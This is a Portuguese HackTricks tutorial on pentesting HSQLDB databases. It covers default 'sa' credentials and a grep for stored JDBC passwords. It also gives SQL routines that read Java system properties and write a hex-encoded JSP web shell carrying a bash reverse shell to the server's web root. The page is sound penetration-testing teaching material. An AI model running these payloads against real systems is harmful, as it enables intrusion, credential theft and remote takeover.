9001 - Pentesting HSQLDB

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.

Porta padrão: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Configurações Padrão

Note que, por padrão, este serviço provavelmente está rodando na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está buscando escalar privilégios.

As credenciais padrão geralmente são sa com uma senha em branco.

Se você explorou outro serviço, procure por possíveis credenciais usando

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note o nome do banco de dados com atenção - você precisará dele para se conectar.

Coleta de Informações

Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar e conecte-se à instância usando as credenciais descobertas/fracas.

Note que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Truques

Rotinas da Linguagem Java

Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.

JRTs podem ser funções ou procedimentos. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES.

Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução CALL.

Lendo Propriedades do Sistema Java

Crie a função:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Executar função:

text
VALUES(getsystemproperty('user.name'))

Você pode encontrar uma lista de propriedades do sistema aqui.

Escrever Conteúdo em Arquivo

Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename gadget Java localizado no JDK (carregado automaticamente no class path da aplicação) para escrever itens codificados em hex no disco via um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.

Criar procedimento:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Executar procedimento:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks